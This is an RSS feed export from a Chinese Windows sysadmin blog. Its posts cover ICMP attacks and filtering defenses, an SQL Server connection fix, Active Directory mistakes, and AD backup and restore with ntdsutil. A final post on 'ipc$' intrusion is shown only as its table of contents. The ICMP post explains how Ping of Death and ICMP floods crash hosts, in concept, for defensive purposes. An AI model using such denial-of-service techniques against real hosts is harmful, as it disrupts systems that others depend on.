ICMP协议对于网络安全具有极其重要的意义。ICMP协议本身的特点决定了它非常容易被用于攻击网络上的路由器和主机。例如，在1999年8月海信集团“悬赏”50万元人民币测试防火墙的过程中，其防火墙遭受到的ICMP攻击达334050次之多，占整个攻击总数的90%以上！可见，ICMP的重要性绝不可以忽视！<br /><br />　　比如，可以利用操作系统规定的ICMP数据包最大尺寸不超过64KB这一规定，向主机发起“Ping of Death”（死亡之Ping）攻击。“Ping of Death” 攻击的原理是：如果ICMP数据包的尺寸超过64KB上限时，主机就会出现内存分配错误，导致TCP/IP堆栈崩溃，致使主机死机。<br /><br />　　此外，向目标主机长时间、连续、大量地发送ICMP数据包，也会最终使系统瘫痪。大量的ICMP数据包会形成“ICMP风暴”，使得目标主机耗费大量的CPU资源处理，疲于奔命。<br /><br /><br />　　<b>应对ICMP攻击</b><br /><br /><br />　　虽然ICMP协议给黑客以可乘之机，但是ICMP攻击也并非无药可医。只要在日常网络管理中未雨绸缪，提前做好准备，就可以有效地避免ICMP攻击造成的损失。<br /><p><font color="#339900"><font color="#000000">　　对于“Ping of Death”攻击，可以采取两种方法进行防范：第一种方法是在路由器上对ICMP数据包进行带宽限制，将ICMP占用的带宽控制在一定的范围内，这样即使有ICMP攻击，它所占用的带宽也是非常有限的，对整个网络的影响非常少；第二种方法就是在主机上设置ICMP数据包的处理规则，最好是设定拒绝所有的ICMP数据包。<br /><br />　　设置ICMP数据包处理规则的方法也有两种，一种是在操作系统上设置包过滤，另一种是在主机上安装防火墙。具体设置如下：<br /><br />　　1．在Windows 2000 Server中设置ICMP过滤<br /><br />　　Windows 2000 Server提供了“路由与远程访问”服务，但是默认情况下是没有启动的，因此首先要启动它：点击“管理工具”中的“路由与远程访问”，启动设置向导。在其中选择“手动配置服务器”项，点击[下一步]按钮。稍等片刻后，系统会提示“路由和远程访问服务现在已被安装。要开始服务吗？”，点击[是]按钮启动服务。<br /><br />　　服务启动后，在计算机名称的分支下会出现一个“IP路由选择”，点击它展开分支，再点击“常规”，会在右边出现服务器中的网络连接（即网卡）。用鼠标右键点击你要配置的网络连接，在弹出的菜单中点击“属性”，会弹出一个网络连接属性的窗口，如图1所示。<br /><br /></font></font></p><p align="center"><font color="#000000"><img src="http://www.pconline.com.cn/pcedu/soft/lan/jywrm/10306/pic/20030612zw_01.jpg" /></font></p><p><br /><strong>　　图1<br /><br />　　图1中有两个按钮，一个是“输入筛选器”（指对此服务器接受的数据包进行筛选），另一个是“输出筛选器”（指对此服务器发送的数据包进行筛选），这里应该点击[输入筛选器] 按钮，会弹出一个“添加筛选器”窗口，再点击[添加]按钮，表示要增加一个筛选条件。<br /><br />　　在“协议”右边的下拉列表中选择“ICMP”，在随后出现的“ICMP类型”和“ICMP编码”中均输入“255”，代表所有的ICMP类型及其编码。ICMP有许多不同的类型（Ping就是一种类型），每种类型也有许多不同的状态，用不同的“编码”来表示。因为其类型和编码很复杂，这里不再叙述。<br /><br />　　点击[确定]按钮返回“输入筛选器”窗口，此时会发现“筛选器”列表中多了一项内容（如图2所示）。点击[确定]按钮返回“本地连接”窗口，再点击[确定]按钮，此时筛选器就生效了，从其他计算机上Ping这台主机就不会成功了。<br /><br /></strong></p><p align="center"><strong><img src="http://www.pconline.com.cn/pcedu/soft/lan/jywrm/10306/pic/20030612zw_02.jpg" /></strong></p><p><br /><strong>　　图2<br /><br />　　2． 用防火墙设置ICMP过滤<br /><br />　　现在许多防火墙在默认情况下都启用了ICMP过滤的功能。如果没有启用，只要选中“防御ICMP攻击”、“防止别人用ping命令探测”就可以了，如图3所示。<br /><br /></strong></p><p align="center"><strong><img src="http://www.pconline.com.cn/pcedu/soft/lan/jywrm/10306/pic/20030612zw_03.jpg" /></strong></p><p><br /><strong>　　图3<br /><br />　　通过以上讲解，你现在知道ICMP的重要性了吧？赶紧给你的服务器设置ICMP过滤吧。 </strong></p><img src ="http://www.cnitblog.com/system-net/aggbug/18661.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/system-net/" target="_blank">System And Net</a> 2006-10-31 15:36 <a href="http://www.cnitblog.com/system-net/articles/18661.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>解决网络库tcp/ip连接失败偶记</title><link>http://www.cnitblog.com/system-net/articles/5968.html</link><dc:creator>System And Net</dc:creator><author>System And Net</author><pubDate>Tue, 03 Jan 2006 01:56:00 GMT</pubDate><guid>http://www.cnitblog.com/system-net/articles/5968.html</guid><wfw:comment>http://www.cnitblog.com/system-net/comments/5968.html</wfw:comment><comments>http://www.cnitblog.com/system-net/articles/5968.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/system-net/comments/commentRss/5968.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/system-net/services/trackbacks/5968.html</trackback:ping><description><![CDATA[<P>服务器的操作系统是2003,是域控制器,所有客户端在同一网段,且同一域中.彼此之间能ping通,可以互访.我适用odbc配置系统dsn,使用SQL.在客户端配置网络库时,使用命名管道能通,使用tcp/ip,就不通了.</P>
<P>报错:<BR>连接失败<BR>SQL State:'01000'<BR>SQL Server 错误：10061<BR>[Microsoft][ODBC SQL Server Driver][TCP/IP Sockets] ConnectionOpen (conect()).<BR>连接失败<BR>SQLState:'08001'<BR>SQL Server 错误：17<BR>[Microsoft][ODBC SQL Server Driver][TCP/IP Sockets] SQL Server 不存在或访问被拒绝</P>
<P><BR>运行svrnetcn,发现命名管道总在tcp/ip的前面,原以为是不是因为命名管道的级别高,删命名管道,还是不通,估计不是这个问题.听说如果服务器使用的是2000,就可以.使用2003就不行.所以如果这时真的话,我认为最大的可能性应该在系统的设置上.<BR>于是,我查看日志.获得以下信息:<BR>您运行的 Microsoft SQL Server 2000 版本或 Microsoft SQL Server 2000 Desktop Engine (也称为 MSDE) 和 Microsoft Windows Server 2003 家族使用时存在已知的 安全弱点。为了减少计算机被某些病毒的攻击，Microsoft SQL Server 2000，MSDE 或 两者的 TCP/IP 和 UDP 网络端口被禁用。要启用这些端口，您必须从 <A href="http://www.microsoft.com/sql/downloads/default.asp">http://www.microsoft.com/sql/downloads/default.asp</A> 或&nbsp; <A href="http://www.microsoft.com/china/sql/downloads/default.asp">http://www.microsoft.com/china/sql/downloads/default.asp</A> 安装一个修补程序， 或 Microsoft SQL Server 2000 或 MSDE 的最新服务包。 </P>
<P>看来是2003独有的问题了。为了安全考虑的。试想现在有些黑客入侵，就使用1433端口。2003先禁掉它，使有道理的。OK，想通了。就动手了。安装过程中别忘了钩上“对所有数据库启用跨数据库的所有权连接”，当然这个是微软不推荐的。因为存在安全隐患阿。好。打了补丁重启，完事。可以连接了。</P><img src ="http://www.cnitblog.com/system-net/aggbug/5968.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/system-net/" target="_blank">System And Net</a> 2006-01-03 09:56 <a href="http://www.cnitblog.com/system-net/articles/5968.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>活动目录管理之五种常见错误操作[转]</title><link>http://www.cnitblog.com/system-net/articles/5428.html</link><dc:creator>System And Net</dc:creator><author>System And Net</author><pubDate>Fri, 16 Dec 2005 00:50:00 GMT</pubDate><guid>http://www.cnitblog.com/system-net/articles/5428.html</guid><wfw:comment>http://www.cnitblog.com/system-net/comments/5428.html</wfw:comment><comments>http://www.cnitblog.com/system-net/articles/5428.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/system-net/comments/commentRss/5428.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/system-net/services/trackbacks/5428.html</trackback:ping><description><![CDATA[<DIV style="CLEAR: both; FLOAT: right; HEIGHT: 250px; RIGHT: 0px; TOP: 60px; WIDTH: 300px">
<SCRIPT type=text/javascript><!--
google_ad_client = "pub-4174471457520570";
google_ad_width = 300;
google_ad_height = 250;
google_ad_format = "300x250_as";
google_ad_channel ="6691454417";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "FF0000";
google_color_url = "008000";
google_color_text = "003300";
//--></SCRIPT>

<SCRIPT src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type=text/javascript></SCRIPT>
<IFRAME frameBorder=0 height=250 marginHeight=0 marginWidth=0 name=google_ads_frame scrolling=no src="http://pagead2.googlesyndication.com/pagead/ads?client=ca-pub-4174471457520570&amp;dt=1134693219546&amp;lmt=1134442423&amp;format=300x250_as&amp;output=html&amp;channel=6691454417&amp;url=http%3A//www.5dmail.net/html/2005-12-13/20051213105343.htm&amp;color_bg=FFFFFF&amp;color_text=003300&amp;color_link=FF0000&amp;color_url=008000&amp;color_border=FFFFFF&amp;ref=http%3A//www.baidu.com/baidu%3Fword%3D%25C9%25BE%25B3%25FD%25D3%25F2%26tn%3Dmyie2dg&amp;cc=435&amp;u_h=768&amp;u_w=1024&amp;u_ah=740&amp;u_aw=1024&amp;u_cd=32&amp;u_tz=480&amp;u_java=true" width=300 allowtransparency="true"><img height="1" width="1" border="0" src="http://pagead2.googlesyndication.com/pagead/imp.gif?event=noiframe&client=ca-pub-4174471457520570&dt=1134693219546&lmt=1134442423&format=300x250_as&output=html&channel=6691454417&url=http%3A//www.5dmail.net/html/2005-12-13/20051213105343.htm&color_bg=FFFFFF&color_text=003300&color_link=FF0000&color_url=008000&color_border=FFFFFF&ref=http%3A//www.baidu.com/baidu%3Fword%3D%25C9%25BE%25B3%25FD%25D3%25F2%26tn%3Dmyie2dg&cc=435&u_h=768&u_w=1024&u_ah=740&u_aw=1024&u_cd=32&u_tz=480&u_java=true" /></IFRAME></DIV><FONT class=f14 id=zoom><A class=f1>&nbsp;通过前面的几篇文章，大家可能已经对活动目录已经有了一个大致的概念了，很多人可能已经迫不急待的开始在公司里部署活动目录了。在这里本人根据自己这些年管理活动目录的一点小小经验，再加上这些年在论坛上别人问我一些问题，稍微总结了一下，列举一下活动目录管理的常见五种错误操作，希望能够起到抛砖引玉的作用。OK，那现在我就开始班门弄斧了: 
<P>　<STRONG>　一、安装活动目录但不安装DNS;</STRONG></P>
<P>　　一般犯这种错误的，都是在网上看到了有活动目录这么个东西，然后就开始自己动手的新手，如果是看过一些微软活动目录的官方教材或者是看过一些比较详细的活动目录的部署文章的朋友是不大会犯这种错误的。其实在安装活动目录的时候，如果你没有安装DNS的话，系统是会给出警告提示的，但一般新手都会直接忽略过去。曾经有人问过我，不安装DNS，而是用WINS，行不行?原来是NT4的域管理员经常会问这样的问题，反正我做试验的结果是，行!但是，你会发现登陆的时候非常慢。虽然它还是可以用Netbios名访问网上邻居中的计算机，但其实是无法使用域资源的，为什么?因为在域环境网络中，DNS起到的不仅仅是一个域名解析的作用，如果仅仅是这个作用的话，那么可以直接用IP来进行访问，这样DNS服务器岂不是没用了?更主要的是DNS服务器起到一个资源定位的作用，大家对于DNS的A记录应该有很深的了解，但不知道大家有没有注意过，其实DNS服务器上，不仅仅是A记录，还有很多其它的如SRV记录什么的，不信的话，打开你的DNS服务器管理控制台看一下。而这些资源你没办法用IP直接访问，也不是WINS服务器能够做到的。所以部署活动目录请一定要安装DNS，不过我曾经做过一个试验，结果证明活动目录和DNS可以不装在同一台服务器上，也就是说域控制器不一定要是DNS服务器，当然如果不是迫不得已的情况下，还是建议装在一起。</P>
<P>　<STRONG>　二、随意的在域控制器上安装软件;</STRONG></P>
<P>　　由于域控制器在域构架网络中的作用是举足轻重的，所以一台域控制器的高可能性是必须的，但遗憾的是很多网络管理员并没有意识到这一点。本人曾经就见过一个酒店网络的域控制器上装了不下三十个杂七杂八的软件，甚至包括一些网络游戏之类的软件，如边锋、传奇等，还有一些MP3播放器，VCD播放器等，实在让我稿不清楚他的域控制器究竟在起什么作用?<A class=bluekey href="http://www.yesky.com/key/282/55282.html" target=_blank><FONT color=#0000ff>网络服务器</FONT></A>还是个人PC?凡是长期使用Windows的朋友都知道，Windows会越用越慢，越用越不稳定，虽然造成这种现象Windows本身也有一定的责任，但不可否认的是使用者才是主体，其中又以随意的安装和<A class=bluekey href="http://www.yesky.com/key/2934/62934.html" target=_blank><FONT color=#0000ff>删除软件</FONT></A>为主要原因，不知道大家注意过没有，如果你安装了一个软件，然后使用一段时间后再删除，实际上注册表中还是会有大量的这个软件的信息，而且一般的软件制造商绝对不会告诉你他这个软件究竟在注册表的哪些项目里添加了内容，这些内容有些什么用处。所以你想手动去完全删除这些垃圾信息是很难办到的，当然理论上是可以的，但实际几乎是不可能的。而且一般的软件在出厂的时候都会在Windows系统上做一系列的测试，以保证该软件在Windows能正常运行，但它却不保证和其它非Windows软件之间的兼容性，所以软件装得越多，产生冲突的机率就越大。很多朋友看到这儿，肯定会想，手动是不可能的，但可以借助第三方软件啊，比如超级兔子、优化大师什么的，这些软件都有清理注册表和提速的功能。说实话，本人的确不是很清楚这些软件的工作原理是什么，但软件终究是死的，出了问题苦果只能还是由你自己来吞，如果这些软件是用在个人PC上，本人倒还真没有什么意见，因为个人PC大不了重装系统，但是域控制器绝对不是重装一下系统这么简单的，尤其是很多网络只有一台域控制器的情况，甚至有些人还以为域控制器重装后用原来的<A class=bluekey href="http://www.yesky.com/key/4199/79199.html" target=_blank><FONT color=#0000ff>计算机名</FONT></A>和域名就可以和原来一样，在这里我可以很明确的告诉大家，用同名的方法是肯定行不通的。不信大家可以回去试一下!请记住:预防永远大于<A class=bluekey href="http://www.yesky.com/key/209/70209.html" target=_blank><FONT color=#0000ff>急救</FONT></A>!本人的域控制器上除了活动目录和DNS，只安装了一个SUS服务器，运行已经有一年半了，没有发生过任何软件问题。</P>
<P>　　说到这儿，本人顺便想批判一下网上现在挺流行的Windows 2003优化和提速方法大全，我曾仔细看过这些文章，结果是让我大失所望的，无非就是关几个不必要的服务就算是提升性能了，修改几个注册表的键值，就算是关机启动提速了，起用几个个人PC用的功能就算是优化了。我还专门按照上面的内容做过一次测试，结果发现关了那些服务，结果只节约出了4M左右的内存而已，你说现在硬件价格直线下降，有必要去弄这些吗?还有是提高关机还<A class=bluekey href="http://www.yesky.com/key/1086/76086.html" target=_blank><FONT color=#0000ff>开机速度</FONT></A>的，谁的服务器有事没事的去开机和关机啊，就算重启也会让下面的用户抱怨不已，还开机关机呢?这不是自己丢自己的饭碗吗?至于启用声音和硬件加速之类的，更是让我笑掉大牙，那是台服务器啊，怎么?准备当个人PC用啊?凡是用这些文章上的内容来修改服务器的，我不知道你们的服务器在起什么样的作用，但我可以肯定二点:1、这个服务器软件决对不是你花钱买的;2、你的网络对这个服务器没有什么依赖性，也就是说这个服务器是可有可无的。微软在Windows服务器和客户端的定价上是存在很大的差价的，没有人愿意花服务器的钱，却在当工作站用。如果有这样的人，那么要么这个服务器软件是不花钱的，要么就是不是花自己的钱。而且你长期的对服务器进行这种优化的话，你会发现会适得其反，因为上面有些修改，要重启后才能看到效果，当你做了一系列的修改后重启，而你又发现系统有些不对劲的话，你根本就不知道究竟是哪个操作引起的。甚至有可能会导致你系统的崩溃。在这里，我再次重申本人的一个观点:对于服务器而言，稳定大于一切!<BR><A class=f1>&nbsp;</P>
<DIV class=guanggao><SPAN id=contentAdv></SPAN></DIV>
<P></P>
<P>　　<STRONG>三、不正确的安装和删除域控制器</STRONG></P>
<P>　　一般做出上述标题行为的朋友呢，你说他是新手，他不承认，说他是老手，别人不承认。基本上他们的行为就是今天一时兴起，，增加一台额外域控制器，而且很可能就是拿自己的PC来提升的，明天一时高兴，再增加一个子域，哪天因为系统问题或者心情不爽的时候，也不降级，直接把那些子域域控制器啊，额外域控制器啊什么的统统格式化，然后重装系统。然后等到哪天高兴了又装，不高兴了又格式化，直接活动目录出错，无法添加为止。本人曾经就见过这样的网络管理员。我去查看了一下他的网络上仅有的一台域控制器。发现里面莫明其妙的有很多的域控制器，但是网络上却又没有这些域控制器，而且活动目录经常出错，我查一下日志，发现全是报错信息，都是一些无法复制，找不到相应的域控制器等，结果我花了将近一个多小时的时间，才用Ntdsutil把这些垃圾信息全部清除，问题也得已解决，那么为什么用Ntdsutil可以解决这样的问题，我还要把这种操作列为错误操作呢?因为我曾经碰到过，就算了Ntdsutil清除这些垃圾信息后，活动目录还是不正常的情况，具体情况是可以为客户端提供服务，但是再也无法添加额外域控制器的情况，每次到最后一步就提示“拒绝访问”，我查了么多资料都没有找到解决的方法，幸亏那个域刚刚开始建，没什么数据，最后也就重做了事。如果哪位朋友也碰到过这样的情况，并且有解决办法的话，请提供给我，在此表示感谢!</P>
<P>　　<STRONG>四、FSMO角色的任意分配</STRONG></P>
<P>　　我在前面的文章中就已经提到过，FSMO的五种角色一般是不需要去管理的，正常情况下如果我们需要对FSMO的角色进行转移的话，那么无非就是两种情况:1、服务器的正常维护;2、原来的FSMO角色所在的域控制器由于硬件或其它的原因导致无法联机;但是目前很多网管碰到上述两种情况，会采取很极端的作法，就是只要原来的FSMO角色所在的域控制器一旦离线，就一定要把FSMO角色转移到其它的域控制器上，能传送就传送，不能传送就夺取。但是我在这儿要建议大家一个字:等!什么意思?除了PDC仿真器这个角色以外，其它角色所在的域控制器如果离线的话，我建议大家就是等，等着这台域控制器的重新归来，一般也就是几天的时间，因为FSMO的五种角色中，除了PDC仿真器是经常用到的以外，其它的角色是不会常用到的，我举个例子:以Domain Naming Master来说，它的主要作用是用来管理添加删除域，但一般的网络上谁会有事没事的增加删除域?所以如果Domain Naming Master角色所在的域控制器离线的话，而你又比较肯定在这台域控制器离线这段时间里不会增加或删除域的话，那么，完全没有必要把Domain Naming Master角色传送过来，至于夺取那就更不用说了，不到万不得已，是绝对不能用夺取的操作的，因为一旦夺取，那么原来的域控制器联机以后，FSMO角色的唯一性就不存在了，可以想象一下一个森林同时有两个Domain Naming Master会是什么现象?所以在夺取FSMO角色时，请大家明确一件事以后再操作，那就是:原来占有FSMO角色的域控制器将永远都不会再回到网络中来。<BR><BR>　<STRONG>五、GHOST</STRONG></P>
<P>　　看到标题，很多人可能都会有意见了。是不是在想我是不是写文章写傻了?怎么连GHOST这么优秀的软件你也批判?我没有傻，我也没有弄错，我要批的就是GHOST。虽然我承认GHOST是一个非常优秀的软件，而且深受广大电脑使用者的爱戴，甚至GHOST曾经救我于水深火热之中，但我还是要批判它。很多人对GHOST的使用都是系统装好，然后所有配置OK以后，做一个备份，以防止将来系统崩溃。这种种法如果用在单机和对等网上到是无可厚非，但是在域环境下却不能这么用，为什么?我想部署过活动目录的人都知道，所有的域用户都是有一个帐号和密码的，但有没有人知道其实在域内的计算机和域控制器的通讯也是要用密码的?当然这个密码是随机的，而且是定期修改的，所以当你恢复一个很久以前的GHOST备份的时候，你会发现你的系统无法和域控制器联系，为什么，因为密码换过了，当然这种情况的解决办法还是很简单的，退出域，再重新加入就可以了。所以在域网络中对客户端使用GHOST我还是可以忍受的，因为一个企业在同一时间大面积的进行GHOST还原的情况我还没有见过。当然有一种情况是要避免的，就是当硬件配置一样，然后用GHOST进行盘对盘复制的，这样的话会有安全隐患，因为GHOST会导致SID重复。虽然可以借助一些工具来清除，但我还是觉得有点不放心，所以本人还是不推荐这种方法。那么再来说说GHOST用在域控制器上的情况，这种情况我是忍无可忍的，除非你每天做个GHOST备份，在活动目录上，有一个Tombstone lifetime，中文一般翻译成墓碑时间，这个时间系统默认是60天，如果一台域控制器离线的时间超过60天，那么这台域控制器就算重新接到网络中来，其它的域控制器也不会把信息复制给它，可以说，它已经脱离这个网络了。还有更恐怖的是，这个备份恢复回来的GHOST是有可能把它上面的过时的信息复制给其它的域控制器的，你可能会发些你很早以前删除的帐号居然又回来了，组策略还原了等莫明其妙的问题，而且这种复制对于企业而言，是有灾难性损坏的可能性的，要避免这种情况你要修改注册表来控制它的出站复制，不过能避免，又何必去修改呢?由此可见，用GHOST恢复以前的域控制器的备份，就好比这台域控制器从备份那天就开始离线一样，很多情况下，这种备份恢复的操作等于没有，甚至有时候还不如不备份，灾难恢复都要比它好。因此:GHOST能不用就别用!有时候GHOST=够死的。呵呵!</P></A></FONT><img src ="http://www.cnitblog.com/system-net/aggbug/5428.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/system-net/" target="_blank">System And Net</a> 2005-12-16 08:50 <a href="http://www.cnitblog.com/system-net/articles/5428.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>AD的维护和备份 </title><link>http://www.cnitblog.com/system-net/articles/5391.html</link><dc:creator>System And Net</dc:creator><author>System And Net</author><pubDate>Thu, 15 Dec 2005 00:41:00 GMT</pubDate><guid>http://www.cnitblog.com/system-net/articles/5391.html</guid><wfw:comment>http://www.cnitblog.com/system-net/comments/5391.html</wfw:comment><comments>http://www.cnitblog.com/system-net/articles/5391.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/system-net/comments/commentRss/5391.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/system-net/services/trackbacks/5391.html</trackback:ping><description><![CDATA[<BR>AD的备份：AD可以通过备份系统状态来备份，你可以在系统工具里找到备份工具来完成此工作，也可以使用第三方软件来实现。但要注意备份AD的一些约束条件： <BR>* AD只备份当前有效的数据，对于已经标记删除的对象，不备份。而AD中的对象删除并不是立即的，需要有60天的删除标记时间。因此，应避免恢复60天前的AD备份，以免导致AD不完整。 <BR>* AD的备份类型无法选择，只能使用完全备份。 <BR>* 要确保备份中同时包含系统状态、系统盘的文件以及SYSVOL目录的内容。 <BR>* 你只能用原服务器的备份来恢复该服务器，不能用另一台服务器的备份恢复该服务器。 <BR>3、AD的整理：AD系统默认每12小时会运行自动在线整理一次。但是在线整理不能减少数据库的大小，要减少数据库的大小，需要使用离线整理，其操作为： <BR>在DC启动的时候，按F8进入启动菜单，选择“目录恢复模式：进入系统，在命令行下输入如下命令。 <BR>ntdsutil <BR>files <BR>info <BR>注意此时输出的目录文件路径！ <BR>comnpact to c:\mydir <BR>通过这个命令将在指定目录下的建立一个压缩后的数据库文件。 <BR>quit两次，退出工具。 <BR>接下来，你需要用压缩后的文件替换原始的文件。并重新启动计算机 <BR>四、AD的架构 <BR>AD的架构是以结构化的方式定义的数据组成，它通过描述元数据来定义这些结构，通常包括属性名称、类型、长度、关系等。看起来，有点象关系数据库里的字段定义。同时还包括一些扩展的属性。包括： <BR>1、命名上下文：有三个，它们是域命名上下文（保存当前AD域的数据），配置命名上下文（保存主要基础对象和配置信息），架构命名上下文（保存定义了所有的AD对象和属性）。 <BR>2、类别：描述了AD对象及与之相关的特性和属性。 <BR>AD架构的管理：架构管理由架构主机角色控制，默认情况下看不到该管理单元，需要先注册.schmmgmt.dll，才可以在MMC里找到它。注册方法是运行：regsvr32 %systemroot%\system32\schmmgmt.dll。架构内容是禁止删除的。 <BR>五、AD的修理和恢复 <BR>1、AD的维护和修复，都是通过一个命令行工具--NTDSUTIL来实现的。修复命令为： <BR>ntdsutil <BR>repair <BR>2、AD的恢复 <BR>恢复模式：AD有两种恢复模式--授权恢复和非授权恢复，其区别在于： <BR>1）授权恢复：当其他的域控制器包含了无效的复制和数据时，可以采用授权恢复方式，这种情况下，你可以手工指定你要恢复整个数据库或某个分支，并指定本地的恢复操作是权威的。所谓的权威，就是当发生目录复制时，以本地数据为准。授权恢复要修改AD的升级序号，这样它的序号就高于其他的DC了，从而使本地的恢复数据能复制给其他的DC。 <BR>2）非授权恢复：大多数的恢复操作都是非授权的。当你发现一台DC的数据有问题，而确信其他的DC数据是正常的，就可以使用非授权恢复。恢复完成后，DC会重新比较升级序号并参与正常的复制。也就是说，通过非授权恢复的数据可能在复制中被再次改写。 <BR>注意点： <BR>如果你没有达到以下要求，恢复操作必定失败 <BR>* 服务器名趁应和备份时一样 <BR>* 系统文件夹所在驱动器应与备份时相同 <BR>* 目录保存路径应和备份时相同 <BR>3、恢复的操作 <BR>1）非授权恢复：启动DC，进入”目录恢复模式“，执行备份的还原操作。 <BR>2）授权恢复：在执行完非授权恢复后，继续以下操作： <BR>* ntdsutil <BR>authoritative restore <BR>restore database <BR>该命令将授权还原整个数据库，如果只想还原某个分支，可以用： <BR>restore subtree ou=eng,dc=mycompany,dc=com <BR>系统提示是否正确，回答YES。 <BR>quit退出。 <BR>注意：在恢复完成后，系统会自动的提示是否需要重新启动服务器，授权恢复一定要选择”NO“，否则一旦服务器重新启动，本次授权恢复就会变成非授权恢复了。另外，需要注意的是，授权恢复一同还原了SYSVOL文件目录，当计算机帐户没有禁用时，系统会每7天查询确认一次计算机密码，授权恢复同样也还原了这一信任密码，有可能会导致计算机信任关系丢失，这也需要注意。 <BR>4、AD的灾难性恢复处理 <BR>1）重新安装恢复AD <BR>还原AD的最简单方法是重新安装操作系统，重新提升DC。这样就产生了一个新的DC，但要考虑一个问题，如果原DC的数据已经损坏，我们将无法使用DCPROMO命令删除该DC上的AD数据，这样就可能导致AD数据的不同步性，而且更糟糕的是，在AD用户和计算机的管理单元里，你也不能删除DC对象。这是你只能从”AD站点和服务“里先删除该服务器，才能删除该DC。如果你不幸的需要新的DC和原来的DC一样的名字，那么你必须先使用NTDSUTIL命令删除AD里的对象信息后，才能建立新的DC。具体操作如下： <BR>ntdsutil <BR>metadata cleanup <BR>connections <BR>connect to server &lt;good dc&gt; <BR>quit <BR>select operation target <BR>list site <BR>select site &lt;ID&gt; <BR>list domains <BR>select domain &lt;ID&gt; <BR>list servers in site <BR>select server &lt;bad dc&gt; <BR>remove selected server <BR>以上命令，就可以删除坏掉的DC信息。更详细的资料，请参考NTDSUTIL的帮助，执行NTDSUTIL ？即可阅读帮助信息。 <BR>注意：在删除原DC之前，应确认原DC上不包含任何角色，如果有，请使用NTDSUTIL命令夺取角色，方法如下： <BR>ntdsutil <BR>roles <BR>Seize domain naming master - 在已连接的服务器上改写域角色 <BR>Seize infrastructure master - 在已连接的服务器上改写结构角色 <BR>Seize PDC - 在已连接的服务器上改写 PDC 角色 <BR>Seize RID master - 在已连接的服务器上改写 RID 角色 <BR>Seize schema master - 在已连接的服务器上改写架构角色 <BR>被夺取角色的DC在没有重新安装操作系统前，不能重新连入网络！！ <BR>2）从备份中还原AD <BR>从备份文件恢复AD是非常适合的。但要注意使用的还原模式，如果因恢复错误操作的信息，应记得使用授权恢复模式。 <BR>注意点： <BR>* 过期的备份：前面我们提到，AD的备份不能还原60天前的数据，如果你需要还原60天的备份，需要按KB216993要求修改全局标记时间后才能还原。其的位置在AD里的 <BR>CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=COMPANY,DC=COM，名称为：tombstoneLifetime，该操作需要直接编辑AD数据，可使用ADSI，LDP等工具。 <BR>注意：请慎重操作！ <BR>* 不同硬件下还原：通常情况，不建议你将AD的备份还原到不同的硬件上，除非你确认新机器和原机器的硬件基本一直，并使用同样的硬件抽象层文件（HAL）。 <BR>* 远程备份和还原：在BOOT.INI文件后，可以加上/safeboot:dsrepair命令选项，引导远程机器进入恢复模式。 <BR>5、结语 <BR>本文简单的描述了活动目录的整体概念和基本理论，并重点阐述了AD的备份和恢复技巧和操作，以及灾难性的恢复手段。 <BR><BR>附录：NTDSUTIL的帮助 <BR>ntdsutil: ? <BR><BR>? - 打印这个帮助信息 <BR>Authoritative restore - 权威性的恢复 DIT 数据库 <BR>Domain management - 准备新域创建 <BR>Files - 管理 NTDS 数据库文件 <BR>Help - 打印这个帮助信息 <BR>IPDeny List - 管理 LDAP IP 否认列表 <BR>LDAP policies - 管理 LDAP 协议策略 <BR>Metadata cleanup - 清理不使用的服务器的对象 <BR>Popups %s - 用“on”或“off”启用或禁用弹出 <BR>Quit - 退出实用程序 <BR>Roles - 管理 NTDS 角色所有者令牌 <BR>Security account management - 管理安全帐户数据库 - 复制 SID 清理 <BR>Semantic database analysis - 语法检查器 <img src ="http://www.cnitblog.com/system-net/aggbug/5391.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/system-net/" target="_blank">System And Net</a> 2005-12-15 08:41 <a href="http://www.cnitblog.com/system-net/articles/5391.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ipc$详细解读</title><link>http://www.cnitblog.com/system-net/articles/5269.html</link><dc:creator>System And Net</dc:creator><author>System And Net</author><pubDate>Fri, 09 Dec 2005 15:44:00 GMT</pubDate><guid>http://www.cnitblog.com/system-net/articles/5269.html</guid><wfw:comment>http://www.cnitblog.com/system-net/comments/5269.html</wfw:comment><comments>http://www.cnitblog.com/system-net/articles/5269.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/system-net/comments/commentRss/5269.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/system-net/services/trackbacks/5269.html</trackback:ping><description><![CDATA[目录 ： <BR><BR>一 前言<BR>二 什么是ipc$<BR>三 什么是空会话<BR>四 空会话可以做什么<BR>五 ipc$连接所使用的端口<BR>六 ipc$连接在hack攻击中的意义<BR>七 ipc$连接失败的常见原因<BR>八 复制文件失败的原因<BR>九 如何打开目标的IPC$共享以及其他共享<BR>十 一些需要shell才能完成的命令<BR>十一 入侵中可能会用到的相关命令<BR>十二 ipc$完整入侵步骤祥解<BR>十三 如何防范ipc$入侵<BR>十四 ipc$入侵问答精选<BR>十五 结束的话<BR><BR>一 